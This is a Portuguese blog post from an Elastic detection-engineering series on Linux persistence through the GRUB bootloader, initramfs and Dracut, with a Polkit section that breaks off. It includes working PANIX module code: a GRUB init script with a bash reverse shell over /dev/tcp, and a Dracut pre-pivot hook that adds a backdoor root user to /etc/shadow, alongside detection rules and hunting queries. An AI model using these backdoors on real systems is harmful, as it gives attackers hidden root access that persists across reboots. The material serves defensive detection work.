Introdução
Bem-vindo ao grand finale da série "Engenharia de detecção de persistência do Linux"! Nesta quinta e última parte, continuamos a explorar profundamente o mundo da persistência no Linux. Com base nos conceitos e técnicas fundamentais explorados nas publicações anteriores, este post discute alguns backdoors e mecanismos de persistência mais obscuros, criativos e/ou complexos.
Se você perdeu os artigos anteriores, eles estabelecem as bases explorando os principais conceitos de persistência. Você pode encontrá-los aqui:
- Engenharia de detecção do Linux - Uma introdução aos mecanismos de persistência
- Engenharia de Detecção Linux - Uma Sequência sobre Mecanismos de Persistência
- Engenharia de detecção no Linux - Continuação sobre mecanismos de persistência
- Engenharia de Detecção no Linux - Chegando ao topo nos mecanismos de persistência
Nesta publicação, vamos fornecer insights sobre esses mecanismos de persistência, destacando:
- Como cada um funciona (teoria)
- Como configurar cada um (prática)
- Como detectá-los (regras SIEM e Endpoint)
- Como procurá-los (busca de referências ES|QL e OSQuery)
Para tornar o processo ainda mais envolvente, utilizaremos o PANIX, uma ferramenta de persistência Linux personalizada, projetada por Ruben Groenewoud, da Elastic Security. O PANIX permite que você simplifique e experimente configurações de persistência do Linux, facilitando a identificação e o teste de oportunidades de detecção.
Ao final desta série, você terá um conhecimento robusto das técnicas de persistência comuns e raras do Linux e entenderá como criar detecções eficazes para capacidades comuns e avançadas de adversários. Você está pronto para desvendar as últimas peças do quebra-cabeça da persistência do Linux? Vamos lá!
Nota de configuração
Para garantir que você esteja preparado para detectar os mecanismos de persistência discutidos neste artigo, é importante habilitar e atualizar nossas regras de detecção pré-criadas. Se você estiver trabalhando com um conjunto de regras personalizado e não usar todas as nossas regras pré-criadas, esta é uma ótima oportunidade para testá-las e potencialmente preencher quaisquer lacunas. Agora estamos prontos para começar.
T1542 - Inicialização pré-sistema operacional: GRUB Bootloader
GRUB (GRand Unified Bootloader) é um bootloader amplamente utilizado em sistemas Linux, responsável por carregar o kernel e inicializar o sistema operacional. O GRUB fornece um framework flexível compatível com várias configurações, tornando-se uma ferramenta poderosa para gerenciar o processo de inicialização. Ele atua como um intermediário entre o firmware do sistema (BIOS/UEFI) e o sistema operacional. Quando um sistema Linux é ligado, a seguinte sequência normalmente ocorre:
-
Firmware do Sistema
- O BIOS ou o UEFI inicializa componentes de hardware (por exemplo, CPU, RAM, dispositivos de armazenamento) e realiza um POST (Power-On Self-Test).
- Em seguida, ele localiza o bootloader no dispositivo de inicialização designado (geralmente com base nas configurações de prioridade de inicialização).
-
GRUB Bootloader
- O GRUB é carregado na memória.
- Ele exibe um menu (se ativado) que permite aos usuários selecionar um sistema operacional, versão do kernel ou modo de recuperação.
- O GRUB carrega a imagem do kernel (
vmlinuz
) na memória, assim como a imagem initramfs/initrd (initrd.img
), que é um sistema de arquivos raiz temporário usado para a configuração inicial do sistema (por exemplo, carregamento de módulos do kernel para sistemas de arquivos e hardware). - O GRUB passa parâmetros do kernel (por exemplo, a localização do sistema de arquivos raiz, opções de inicialização) e transfere o controle para o kernel.
-
Execução do kernel
- O kernel é descompactado e inicializado. Ele começa a detectar e inicializar o hardware do sistema.
- O kernel monta o sistema de arquivos raiz especificado nos parâmetros do kernel.
- Ele inicia o sistema init (tradicionalmente
init
, agora frequentementesystemd
), que é o primeiro processo (PID 1
) que inicializa e gerencia o espaço do usuário. - O sistema
init
configura serviços, monta sistemas de arquivos e inicia sessões de usuário.
O sistema de configuração do GRUB é flexível e modular, permitindo que os administradores definam o comportamento do bootloader, parâmetros do kernel e entradas de menu. Todas as principais distribuições usam /etc/default/grub
como o arquivo de configuração principal do GRUB. Este arquivo contém opções de alto nível, como parâmetros padrão do kernel, tempo limite de inicialização e configurações gráficas. Por exemplo:
GRUB_TIMEOUT=5 # Timeout in seconds for the GRUB menu
GRUB_DEFAULT=0 # Default menu entry to boot
GRUB_CMDLINE_LINUX_DEFAULT="quiet splash resume=/dev/sda2" # Common kernel parameters
GRUB_CMDLINE_LINUX="init=/bin/bash audit=1" # Additional kernel parameters
Para aumentar a flexibilidade, o GRUB é compatível com uma abordagem modular para configuração através de diretórios de script. Eles geralmente estão localizados em /etc/default/grub.d/
(Ubuntu/Debian) e /etc/grub.d/
(Fedora/CentOS/RHEL). Os scripts nestes diretórios são integrados à configuração final durante o processo de atualização.
Antes da inicialização, o bootloader GRUB precisa ser compilado. O arquivo de configuração compilado do GRUB é a saída final utilizada pelo bootloader durante a execução. Ele é gerado a partir das configurações em /etc/default/grub
e dos scripts modulares em /etc/grub.d/
(ou diretórios e arquivos semelhantes para outras distribuições). Essa configuração é então armazenada em /boot/grub/grub.cfg
para sistemas BIOS e /boot/efi/EFI/<distro>/grub.cfg
para sistemas UEFI.
Em sistemas baseados em Ubuntu e Debian, o comando update-grub
é utilizado para gerar a configuração do GRUB. Para sistemas Fedora, CentOS e RHEL, o comando equivalente é grub2-mkconfig
. Ao gerar a configuração, os seguintes eventos ocorrem:
- Execução de Scripts:
- Todos os scripts modulares em
/etc/default/grub.d/
ou/etc/grub.d/
são executados em ordem numérica.
- Agregação de Configurações:
- Os parâmetros de
/etc/default/grub
e os scripts modulares são combinados.
- Criação de entradas de menu:
- O GRUB detecta dinamicamente kernels e sistemas operacionais instalados e cria entradas de menu correspondentes.
- Compilação Final:
- A configuração combinada é escrita em
/boot/grub/grub.cfg
(ou no caminho equivalente do UEFI), pronta para ser usada na próxima inicialização.
Os invasores podem explorar a flexibilidade do GRUB e sua execução antecipada no processo de boot para estabelecer persistência. Ao modificar os arquivos de configuração do GRUB, eles podem injetar parâmetros ou scripts maliciosos que são executados com privilégios de root antes que o sistema operacional seja completamente inicializado. Os invasores podem:
- Injetar parâmetros maliciosos do kernel:
- Adicionar parâmetros como
init=/payload.sh
no/etc/default/grub
ou diretamente no menu GRUB na inicialização força o kernel a executar um script malicioso em vez do sistemainit
padrão.
- Modificar entradas do menu:
- Invasores podem modificar as entradas do menu em
/etc/grub.d/
para incluir comandos não autorizados ou direcionar para kernels maliciosos.
- Criar entradas ocultas de inicialização:
- Adicionar entradas extras de inicialização com configurações maliciosas que não aparecem no menu GRUB.
Como o GRUB opera antes que o EDR típico do sistema e outros mecanismos de soluções estejam ativos, essa técnica é especialmente difícil de detectar. Além disso, a escassez de conhecimento sobre esses tipos de ataques torna a detecção difícil, já que parâmetros ou entradas maliciosos podem se assemelhar a configurações legítimas, tornando a inspeção manual suscetível a erros.
A manipulação do GRUB se enquadra no T1542: Inicialização pré-SO no framework MITRE ATT&CK. Esta técnica abrange ataques que visam carregadores de inicialização para obter controle antes que o sistema operacional seja inicializado. Apesar de sua importância, atualmente não existe uma subtécnica dedicada para ataques específicos ao GRUB.
Na próxima seção, vamos explorar como os invasores podem estabelecer persistência através do GRUB, injetando parâmetros maliciosos e modificando as configurações do carregador de inicialização.
Persistência através do T1542 - Inicialização pré-SO: GRUB Bootloader
Nesta seção, veremos os detalhes técnicos relacionados à persistência do GRUB. Para realizar isso, vamos utilizar o módulo setup_grub.sh do PANIX, uma ferramenta personalizada de persistência no Linux. Ao simular esta técnica, seremos capazes de pesquisar oportunidades potenciais de detecção.
O módulo GRUB detecta a distribuição Linux em que está rodando e determina os arquivos corretos para modificar e as ferramentas de suporte necessárias para estabelecer persistência. Não há compatibilidade integrada ao PANIX para sistemas operacionais baseados no Fedora neste módulo devido ao ambiente restrito disponível durante o processo de inicialização. O PANIX verifica se a carga útil já foi injetada e, caso contrário, cria um arquivo de configuração personalizado (cfg
) contendo o parâmetro init=/grub-panix.sh
. Os arquivos de configuração do GRUB são carregados em ordem crescente, com base no prefixo numérico dos módulos. Para garantir que o módulo injetado seja carregado por último, a prioridade é configurada para 99.
local grub_custom_dir="/etc/default/grub.d"
local grub_custom_file="${grub_custom_dir}/99-panix.cfg"
echo "[*] Creating custom GRUB configuration file: $grub_custom_file"
cat <<EOF > "$grub_custom_file"
# Panix GRUB persistence configuration
GRUB_CMDLINE_LINUX_DEFAULT="$GRUB_CMDLINE_LINUX_DEFAULT init=/grub-panix.sh"
EOF
Depois que este arquivo de configuração está no lugar, o script /grub-panix.sh
é criado, contendo uma carga útil que dorme por um certo tempo (para garantir que a rede esteja disponível), após o qual executa uma carga útil de shell reverso, se desvinculando do processo principal para garantir que não haja interrupções.
payload="( sleep 10; nohup setsid bash -c 'bash -i >& /dev/tcp/${ip}/${port} 0>&1' & disown ) &"
local init_script="/grub-panix.sh"
echo "[*] Creating backdoor init script at: $init_script"
cat <<EOF > "$init_script"
#!/bin/bash
# Panix GRUB Persistence Backdoor (Ubuntu/Debian)
(
echo "[*] Panix backdoor payload will execute after 10 seconds delay."
${payload}
echo "[+] Panix payload executed."
) &
exec /sbin/init
EOF
Depois que esses arquivos estiverem no lugar, falta apenas atualizar o GRUB para incluir o módulo backdoor embutido executando update-grub
.
Vamos dar uma olhada em como esse processo se apresenta do ponto de vista da engenharia de detecção. Execute o módulo PANIX pelo seguinte comando:
> sudo ./panix.sh --grub --default --ip 192.168.1.100 --port 2014
[*] Creating backdoor init script at: /grub-panix.sh
[+] Backdoor init script created and made executable.
[*] Creating custom GRUB configuration file: /etc/default/grub.d/99-panix.cfg
[+] Custom GRUB configuration file created.
[*] Backing up /etc/default/grub to /etc/default/grub.bak...
[+] Backup created at /etc/default/grub.bak
[*] Running 'update-grub' to apply changes...
Sourcing file `/etc/default/grub'
Sourcing file `/etc/default/grub.d/99-panix.cfg'
Sourcing file `/etc/default/grub.d/init-select.cfg'
Generating grub configuration file ...
[+] GRUB configuration updated. Reboot to activate the payload.
Após a execução do módulo e a reinicialização da máquina, você pode observar os seguintes documentos no Kibana:
Após a execução do PANIX, podemos ver um backup de /etc/default/grub
, uma nova configuração modular do grub, /etc/default/grub.d/99-panix.cfg
, e a carga útil do backdoor (/grub-panix.sh
) sendo criada. Após conceder ao backdoor as permissões de execução necessárias, o GRUB é atualizado através do executável update-grub
, e o backdoor está pronto. Ao reiniciar, /grub-panix.sh
é executado por init
, que é systemd
para a maioria dos sistemas operacionais modernos, executando com sucesso a cadeia de shell reverso de /grub-panix.sh
→ nohup
→ setsid
→ bash
. A razão pela qual o valor event.action
é already-running
é devido à execução da carga útil durante o processo de inicialização, antes da inicialização do Elastic Defend. Dependendo do estágio de execução da inicialização, o Elastic Defend poderá capturar eventos perdidos com este event.action
, permitindo que ainda possamos detectar a atividade.
Vamos dar uma olhada na cobertura:
Regras de detecção e endpoint que cobrem a persistência do bootloader GRUB
Você pode reverter as alterações feitas pelo PANIX executando o seguinte comando revert:
> ./panix.sh --revert grub
[*] Reverting GRUB persistence modifications...
[*] Restoring backup of /etc/default/grub from /etc/default/grub.bak...
[+] /etc/default/grub restored.
[*] Removing /etc/default/grub.d/99-panix.cfg...
[+] /etc/default/grub.d/99-panix.cfg removed.
[*] /grub-panix.sh not found; nothing to remove.
[*] Updating GRUB configuration...
[...]
[+] GRUB configuration updated.
[+] GRUB persistence reverted successfully.
Procurando por T1542 - Inicialização pré-sistema operacional: GRUB Bootloader
Além de depender de detecções, é importante incorporar a caça a ameaças no seu fluxo de trabalho, especialmente para mecanismos de persistência como esses, onde eventos podem ser perdidos devido a restrições de tempo ou ambientais. Esta publicação lista as caçadas disponíveis para a persistência do bootloader GRUB; no entanto, mais detalhes sobre os fundamentos da caça a ameaças estão descritos na seção "Caçando T1053 - tarefa/trabalho agendado" de "Engenharia de Detecção no Linux - Uma introdução aos mecanismos de persistência". Além disso, descrições e referências podem ser encontradas em nosso repositório de Regras de Detecção, especificamente no subdiretório de caça do Linux.
Podemos buscar a persistência do bootloader GRUB usando o ES|QL e o OSQuery, focando na criação, modificação e execução de arquivos relacionados às configurações do GRUB. A abordagem inclui o monitoramento de:
- Criações e/ou modificações nos arquivos de configuração do GRUB: monitora as alterações em arquivos críticos, como o arquivo de configuração do GRUB, os módulos e o binário compilado do GRUB. Esses arquivos são essenciais para as configurações do bootloader e são frequentemente visados para persistência baseada em GRUB.
- Execução de comandos relacionados ao GRUB: monitora comandos como
grub-mkconfig
,grub2-mkconfig
eupdate-grub
, que podem indicar tentativas de modificar as configurações do GRUB ou regenerar as configurações de inicialização. - Análise de metadados dos arquivos do GRUB: identifica a propriedade, os tempos de acesso e as alterações recentes nos arquivos de configuração do GRUB para detectar modificações não autorizadas.
- Monitoramento da integridade do kernel e da inicialização: rastreia dados críticos relacionados ao kernel e à inicialização usando tabelas ES|QL e OSQuery, como
secureboot
,platform_info
,kernel_info
ekernel_keys
, fornecendo insights sobre a integridade de inicialização do sistema e as configurações do kernel.
Ao combinar a regra de caça Persistência via GRUB Bootloader e Manipulação Geral do Kernel com as consultas de detecção personalizadas listadas acima, os analistas podem identificar e responder de forma eficaz ao T1542.
T1542- Inicialização pré-SO: Initramfs
O Initramfs (Initial RAM Filesystem) é uma parte essencial do processo de inicialização do Linux, funcionando como um sistema de arquivos raiz temporário carregado na memória pelo bootloader. Ele permite que o kernel inicialize o hardware, carregue os módulos necessários e prepare o sistema para montar o sistema de arquivos raiz verdadeiro.
Como aprendemos na seção anterior, o bootloader (por exemplo, GRUB) carrega dois componentes principais: o kernel (vmlinuz
) e a imagem initramfs (initrd.img
). O initrd.img
é um sistema de arquivos comprimido, geralmente armazenado em /boot/
, contendo drivers essenciais, binários (por exemplo, busybox
), bibliotecas e scripts para inicialização precoce do sistema. Embalado em formatos como gzip, LZ4 ou xz, ele se extrai em um sistema de arquivos Linux mínimo com diretórios como /bin
, /lib
e /etc
. Assim que o sistema de arquivos raiz real é montado, o controle é transferido para o sistema init
principal (por exemplo, systemd
), e o initramfs é descartado.
O Initramfs desempenha um papel central no processo de inicialização do Linux, mas não opera de forma isolada. O diretório /boot/
contém arquivos essenciais que permitem que o bootloader e o kernel funcionem sem problemas. Esses arquivos incluem o binário do kernel, a imagem do initramfs e os dados de configuração necessários para a inicialização do sistema. Aqui está um detalhamento desses componentes críticos:
- vmlinuz-<versão>: um binário compactado do kernel<version> Linux.
- vmlinuz: um link simbólico para o binário compactado do kernel do Linux.
- initrd.img-<version> ou initramfs.img-<version>: a imagem initramfs que contém o sistema de arquivos temporário.
- initrd.img ou initramfs.img: Um link simbólico para a imagem initramfs.
- config-<version>: opções de configuração para a versão específica do kernel.
- System.map-<version>: mapa de símbolos do kernel utilizado para depuração.
- grub/: arquivos de configuração do bootloader.
Semelhante ao GRUB, o initramfs é executado no início do processo de inicialização e, portanto, é um alvo interessante para invasores que buscam estabelecer persistência discreta. Modificar o conteúdo, como adicionar scripts maliciosos ou alterar a lógica de inicialização, permite que o código malicioso seja executado antes que o sistema esteja totalmente inicializado.
Embora atualmente não exista uma subseção específica para initramfs, a modificação do processo de inicialização se enquadra no T1542, Pré-inicialização do SO no framework MITRE ATT&CK.
A próxima seção vai explorar como os invasores podem manipular o initramfs, os métodos que eles podem usar para embutir mecanismos de persistência e como detectar e mitigar essas ameaças de maneira eficaz.
T1542 - Initramfs: modificações manuais
Modificar o initramfs para estabelecer persistência é uma técnica discutida no blog Técnica de Persistência do Initramfs publicado no Breachlabs.io. Essencialmente, modificar o initramfs envolve descompactar seu sistema de arquivos comprimido, realizar alterações e reembalar a imagem para manter a funcionalidade enquanto incorpora mecanismos de persistência. Este processo não é inerentemente malicioso; os administradores podem modificar o initramfs para adicionar drivers ou configurações personalizadas. No entanto, invasores podem explorar essa flexibilidade para executar ações maliciosas antes que o sistema operacional principal esteja completamente carregado.
Uma técnica de exemplo envolve adicionar código ao script init
para manipular o sistema de arquivos do host, como criar um usuário backdoor, alterar arquivos/serviços do sistema ou injetar scripts que persistem após reinicializações.
Embora existam ferramentas auxiliares para trabalhar com o initramfs, modificações manuais são possíveis por meio de utilitários de baixo nível, como o binwalk. Binwalk
é especialmente útil para analisar e extrair arquivos compactados, sendo uma excelente escolha para inspecionar e desconstruir a imagem initramfs.
Na seção a seguir, vamos fornecer uma explicação detalhada do processo manual de modificação do initramfs.
Persistência através de T1542 - Initramfs: modificações manuais
Nesta seção, vamos manipular “manualmente” o initramfs para adicionar um backdoor ao sistema durante o processo de boot. Para fazer isso, usaremos o módulo setup_initramfs.sh do PANIX. Vamos analisar os aspectos mais importantes do módulo para garantir que entendamos o que está acontecendo.
Após a execução do módulo, o arquivo initrd.img
é copiado para backup, pois a implementação de uma técnica como essa pode interromper o processo de inicialização, e ter um backup disponível é sempre recomendado. Em seguida, um diretório temporário é criado, e a imagem initramfs é copiada para lá. Através do binwalk
, podemos identificar e mapear os diferentes arquivos embutidos no initrd.img
(como o arquivo de microcódigo da CPU cpio
e o arquivo cpio
compactado com gzip contendo o sistema de arquivos mini Linux). A string TRAILER!!!
indica o final de um arquivo cpio
, informando-nos exatamente onde um arquivo termina para que possamos separá-lo do próximo. Em outras palavras, binwalk
nos mostra onde dividir o arquivo, e o marcador TRAILER!!!
confirma o limite do microcódigo cpio
antes de extrairmos e reconstruirmos o restante do initramfs. Para mais informações detalhadas, confira o blog “Initramfs Persistence Technique” do autor original.
# Use binwalk to determine the trailer address.
ADDRESS=$(binwalk initrd.img | grep TRAILER | tail -1 | awk '{print $1}')
if [[ -z "$ADDRESS" ]]; then
echo "Error: Could not determine trailer address using binwalk."
exit 1
fi
echo "[*] Trailer address: $ADDRESS"
Esta seção extrai e descompacta partes do arquivo initrd.img
para modificação. O comando dd
extrai o primeiro arquivo cpio
(microcódigo) até o deslocamento de byte marcado por TRAILER!!!
, salvando-o como initrd.img-begin
para remontagem posterior. Em seguida, unmkinitramfs
extrai o restante do sistema de arquivos de initrd.img
para um diretório (initrd_extracted
), permitindo alterações.
dd if=initrd.img of=initrd.img-begin count=$ADDRESS bs=1 2>/dev/null || { echo "Error: dd failed (begin)"; exit 1; }
unmkinitramfs initrd.img initrd_extracted || { echo "Error: unmkinitramfs failed"; exit 1; }
Uma vez que o sistema de arquivos é extraído, ele pode ser modificado para alcançar persistência. Este processo se concentra na manipulação do arquivo init
, que é responsável por inicializar o sistema Linux durante a inicialização. O código realiza o seguinte:
- Monte o sistema de arquivos raiz como editável.
- Tente criar um novo usuário com privilégios de sudo em duas etapas:
- Verifique se o usuário fornecido já existe. Se sim, interrompa.
- Se o usuário não existir, adicione o usuário a
/etc/shadow
,/etc/passwd
e/etc/group
manualmente.
Este payload pode ser alterado para qualquer payload desejado. Como o ambiente em que estamos trabalhando é muito limitado, precisamos garantir que usamos apenas as ferramentas disponíveis.
Após adicionar a carga correta, o initramfs pode ser reembalar. O script utiliza:
find . | sort | cpio -R 0:0 -o -H newc | gzip > ../../initrd.img-end
Para reembalar o filesystem em initrd.img-end
. Ele garante que todos os arquivos sejam de propriedade de root:root
(-R 0:0
) e utiliza o formato newc
compatível com o initramfs.
O arquivo de microcódigo extraído anteriormente (initrd.img-begin
) é concatenado com o arquivo recém-criado (initrd.img-end
) usando cat
para produzir um initrd.img-new
final:
cat initrd.img-begin initrd.img-end > initrd.img-new
O novo initrd.img-new
substitui o arquivo initramfs original, garantindo que o sistema utilize a versão modificada na próxima inicialização.
Agora que entendemos o processo, podemos executar o módulo e deixar os eventos se desenrolarem. Nota: nem todas as distribuições Linux especificam o final de um arquivo cpio
com a string TRAILER!!!
, e, portanto, essa técnica automatizada não funcionará em todos os sistemas. Vamos continuar!
> sudo ./panix.sh --initramfs --binwalk --username panix --password panix --snapshot yes
[*] Will inject user 'panix' with hashed password '<hash>' into the initramfs.
[*] Preparing Binwalk-based initramfs persistence...
[*] Temporary directory: /tmp/initramfs.neg1v5
[+] Backup created: /boot/initrd.img-5.15.0-130-generic.bak
[*] Trailer address: 8057008
[+] Binwalk-based initramfs persistence applied. New initramfs installed.
[+] setup_initramfs module completed successfully.
[!] Ensure you have a recent snapshot of your system before proceeding.
Vamos dar uma olhada nos eventos gerados no Kibana:
Ao observar os logs de execução, podemos ver que openssl
é utilizado para gerar um hash passwd
. Depois, a imagem initramfs é copiada para um diretório temporário, e binwalk
é utilizado para localizar o endereço do sistema de arquivos. Assim que a seção correta é encontrada, unmkinitramfs
é chamado para extrair o sistema de arquivos, e então a carga útil é adicionada ao arquivo init
. Em seguida, o sistema de arquivos é recompactado através de gzip
e cpio
, e combinado em uma imagem initramfs totalmente funcional com o microcódigo, sistema de arquivos e outras seções. Esta imagem é então copiada para o diretório /boot/
, sobrescrevendo a imagem initramfs
que está ativa no momento. Após a reinicialização, o novo usuário panix
com permissões de root estará disponível.
Vamos dar uma olhada na cobertura:
Regras de detecção e de endpoint que cobrem a persistência manual do initramfs
Você pode reverter as alterações feitas pelo PANIX executando o seguinte comando revert:
> ./panix.sh --revert initramfs
[!] Restoring initramfs from backup: $initrd_backup...
[+] Initramfs restored successfully.
[!] Rebuilding initramfs to remove modifications...
[+] Initramfs rebuilt successfully.
[!] Cleaning up temporary files...
[+] Temporary files cleaned up.
[+] Initramfs persistence reverted successfully.
Caça ao T1542 - Initramfs: modificações Manuais
Podemos buscar essa técnica usando ES|QL e OSQuery, focando em atividades suspeitas ligadas ao uso de ferramentas como binwalk
. Essa técnica geralmente envolve a extração, análise e modificação de arquivos initramfs para injetar componentes ou scripts maliciosos no processo de inicialização. A abordagem inclui o monitoramento do seguinte:
- Execução do Binwalk com argumentos suspeitos: rastreia processos onde
binwalk
é executado para extrair ou analisar arquivos. Isso pode revelar tentativas de inspecionar ou interferir no conteúdo do initramfs. - Criações e/ou modificações nos arquivos initramfs: monitora as alterações no arquivo initramfs (
/boot/initrd.img
). - Indicadores de manipulação geral do kernel: utiliza consultas como monitoramento de
secureboot
,kernel_info
e alterações de arquivo em/boot/
para detectar sinais mais amplos de manipulação do kernel e do bootloader, que podem coincidir com o abuso do initramfs.
Ao combinar a regra de caça Persistência via Initramfs e Manipulação Geral do Kernel com as consultas de detecção personalizadas listadas acima, os analistas podem identificar e responder de forma eficaz ao T1542.
T1542 - Initramfs: Modificando com Dracut
Dracut é uma ferramenta versátil para gerenciar initramfs na maioria dos sistemas Linux. Ao contrário dos métodos manuais que exigem a desconstrução e reconstrução do initramfs, o Dracut oferece uma abordagem estruturada e modular. Ele simplifica a criação, modificação e regeneração de imagens initramfs enquanto oferece um framework robusto para adicionar funcionalidades personalizadas. Ele gera imagens initramfs montando um ambiente Linux mínimo adaptado às necessidades do sistema. Seu design modular garante que apenas os drivers, bibliotecas e scripts necessários sejam incluídos.
O Dracut opera através de módulos, que são diretórios autocontidos contendo scripts, arquivos de configuração e dependências. Esses módulos definem o comportamento e o conteúdo do initramfs. Por exemplo, eles podem incluir drivers para hardware específico, ferramentas para manipular sistemas de arquivos criptografados ou lógica personalizada para operações de pré-boot.
Os módulos Dracut geralmente são armazenados em:
/usr/lib/dracut/modules.d/
/lib/dracut/modules.d/
Cada módulo está em um diretório nomeado no formato XXname
, onde XX
é um número de dois dígitos que define a ordem de carregamento, e name
é o nome do módulo (por exemplo, 01base
, 95udev
).
O script principal que define como o módulo se integra ao initramfs é chamado module-setup.sh
. Ele especifica quais arquivos devem ser incluídos e quais dependências são necessárias. Aqui está um exemplo básico de um script module-setups.sh
:
#!/bin/bash
check() {
return 0
}
depends() {
echo "base"
}
install() {
inst_hook cmdline 30 "$moddir/my_custom_script.sh"
inst_simple /path/to/needed/binary
}
check()
: determina se o módulo deve ser incluído. Retornar 0 garante que o módulo esteja sempre incluído.depends()
: especifica outros módulos dos quais este depende (por exemplo,base
,udev
).install()
: define quais arquivos ou scripts incluir. Funções comoinst_hook
einst_simple
simplificam o processo.
Usando o Dracut, invasores ou administradores podem facilmente modificar o initramfs para incluir scripts ou funcionalidades personalizadas. Por exemplo, um ator malicioso pode:
- Adicionar um script que execute comandos na inicialização.
- Alterar os módulos existentes para modificar o comportamento do sistema antes que o sistema de arquivos raiz seja montado.
Na próxima seção, vamos passar pela criação de um módulo Dracut personalizado para modificar o initramfs.
Persistência por meio de T1542 - Initramfs: modificando com o Dracut
Caminhar antes de correr é sempre uma boa ideia. Na seção anterior, aprendemos como manipular o initramfs manualmente, o que pode ser complicado de configurar. Agora que entendemos o básico, podemos persistir com mais facilidade usando uma ferramenta auxiliar chamada Dracut, que está disponível por padrão em muitos sistemas Linux. Vamos dar uma olhada no módulo setup_initramfs.sh novamente, mas desta vez com foco na seção Dracut.
Este módulo PANIX cria um novo diretório de módulo Dracut em /usr/lib/dracut/modules.d/99panix
, e cria um arquivo module-setup.sh
com o seguinte conteúdo:
#!/bin/bash
check() { return 0; }
depends() { return 0; }
install() {
inst_hook pre-pivot 99 "$moddir/backdoor-user.sh"
}
Este script garante que, ao construir o initramfs com o Dracut, o script personalizado (backdoor-user.sh
) seja incorporado e configurado para ser executado na fase de pré-pivô durante a inicialização. Ao ser executado na fase pré-pivô, o script é executado antes que o controle seja passado para o sistema operacional principal, garantindo que ele possa fazer modificações no sistema de arquivos raiz real.
Após conceder as permissões de execução module-setup.sh
, o módulo continua a criar o arquivo backdoor-user.sh
. Para ver o conteúdo completo, inspecione o código-fonte do módulo. As partes importantes são:
#!/bin/sh
# Remount the real root if it's read-only
mount -o remount,rw /sysroot 2>/dev/null || {
echo "[dracut] Could not remount /sysroot as RW. Exiting."
exit 1
}
[...]
if check_user_exists "${username}" /sysroot/etc/shadow; then
echo "[dracut] User '${username}' already exists in /etc/shadow."
else
echo "${username}:${escaped_hash}:19000:0:99999:7:::" >> /sysroot/etc/shadow
echo "[dracut] Added '${username}' to /etc/shadow."
fi
[...]
Primeiro, o script garante que o sistema de arquivos raiz (/sysroot
) esteja em modo de escrita. Se esta verificação for concluída, o script continua a adicionar um novo usuário modificando manualmente os arquivos /etc/shadow
, /etc/passwd
e /etc/group
. O mais importante a notar é que esses scripts dependem de utilitários de shell integrados, já que utilitários como grep
ou sed
não estão disponíveis neste ambiente. Depois de escrever o script, ele recebe permissões de execução e está pronto para uso.
Por fim, o Dracut é acionado para reconstruir o initramfs para a versão do kernel que está atualmente ativa:
dracut --force /boot/initrd.img-$(uname -r) $(uname -r)
Assim que esta etapa for concluída, o initramfs modificado estará ativo, e reiniciar a máquina resultará na execução do script backdoor-user.sh
.
Como sempre, primeiro tiramos um snapshot, depois executamos o módulo:
> sudo ./panix.sh --initramfs --dracut --username panix --password secret --snapshot yes
[!] Will inject user 'panix' with hashed password <hash> into the initramfs.
[!] Preparing Dracut-based initramfs persistence...
[+] Created dracut module setup script at /usr/lib/dracut/modules.d/99panix/module-setup.sh
[+] Created dracut helper script at /usr/lib/dracut/modules.d/99panix/backdoor-user.sh
[*] Rebuilding initramfs with dracut...
[...]
dracut: *** Including module: panix ***
[...]
[+] Dracut rebuild complete.
[+] setup_initramfs module completed successfully.
[!] Ensure you have a recent snapshot/backup of your system before proceeding.
E dê uma olhada nos documentos disponíveis no Discover:
Após a execução, openssl
é utilizado para gerar um hash de senha para a senha secret
. Depois, a estrutura de diretórios /usr/lib/dracut/modules.d/99panix
é criada, e os scripts module-setup.sh
e backdoor-user.sh
são criados e recebem permissões de execução. Após a conclusão da regeneração do initramfs, o backdoor será implantado e estará ativo na reinicialização.
Vamos dar uma olhada na cobertura:
Regras de detecção e endpoint que cobrem a persistência do dracut initramfs
Você pode reverter as alterações feitas pelo PANIX executando o seguinte comando revert:
> ./panix.sh --revert initramfs
[-] No backup initramfs found at /boot/initrd.img-5.15.0-130-generic.bak. Skipping restore.
[!] Removing custom dracut module directory: /usr/lib/dracut/modules.d/99panix...
[+] Custom dracut module directory removed.
[!] Rebuilding initramfs to remove modifications...
[...]
[+] Initramfs rebuilt successfully.
[!] Cleaning up temporary files...
[+] Temporary files cleaned up.
[+] Initramfs persistence reverted successfully.
Caça ao T1542 - Initramfs: modificando com o Dracut
Podemos buscar esta técnica usando ES|QL e OSQuery, focando em atividades suspeitas relacionadas ao uso de ferramentas como o Dracut. A abordagem inclui o monitoramento de:
- Execução do Dracut com argumentos suspeitos: rastreia processos em que o Dracut é executado para regenerar ou modificar arquivos initramfs, especialmente com argumentos não padrão. Isso pode ajudar a identificar tentativas não autorizadas de modificar o initramfs.
- Criações e/ou modificações nos módulos Dracut: monitora as alterações em
/lib/dracut/modules.d/
e/usr/lib/dracut/modules.d/
, que armazenam módulos Dracut personalizados e de todo o sistema. Modificações não autorizadas aqui podem indicar tentativas de persistir funcionalidades maliciosas. - Indicadores de manipulação geral do do kernel: utiliza consultas como monitoramento de
secureboot
,kernel_info
e alterações de arquivo em/boot/
para detectar sinais mais amplos de manipulação do kernel e do bootloader que podem estar relacionados ao abuso do Initramfs.
Ao combinar as regras de caça Persistência via Initramfs e Manipulação Geral do Kernel com as consultas de detecção personalizadas listadas acima, você pode identificar e responder de forma eficaz ao T1542.
T1543 - Criar ou modificar o processo do sistema: PolicyKit
O PolicyKit (ou Polkit) é um serviço de sistema que fornece um framework de autorização para gerenciar ações privilegiadas em sistemas Linux. Ele permite um controle detalhado sobre os privilégios de todo o sistema, permitindo que processos sem privilégios interajam com os privilegiados de maneira segura. Atuando como intermediário entre os serviços do sistema e os usuários, o Polkit determina se um usuário está autorizado a realizar ações específicas. Por exemplo, ele controla se um usuário pode reiniciar serviços de rede ou instalar software sem precisar de permissões completas do sudo.
A autorização do Polkit é regida por regras, ações e políticas de autorização:
- Ações: definidas em arquivos XML (
.policy
), elas especificam as operações que o Polkit pode gerenciar, comoorg.freedesktop.systemd1.manage-units
. - Regras: arquivos semelhantes a JavaScript (
.rules
) determinam como a autorização é concedida para ações específicas. Eles podem verificar grupos de usuários, variáveis de ambiente ou outras condições. - Políticas de Autorização: os arquivos
.pkla
definem autorizações padrão ou por usuário/grupo para ações, determinando se a autenticação é necessária.
Os arquivos de configuração usados pelo Polkit são encontrados em vários locais diferentes, dependendo da versão do Polkit presente no sistema e da distribuição Linux ativa. Os principais locais que você deve conhecer:
- Definições de ação:
/usr/share/polkit-1/actions/
- Definições de regra:
/etc/polkit-1/rules.d/
/usr/share/polkit-1/rules.d/
- Definições de autorização:
/etc/polkit-1/localauthority/
/var/lib/polkit-1/localauthority/
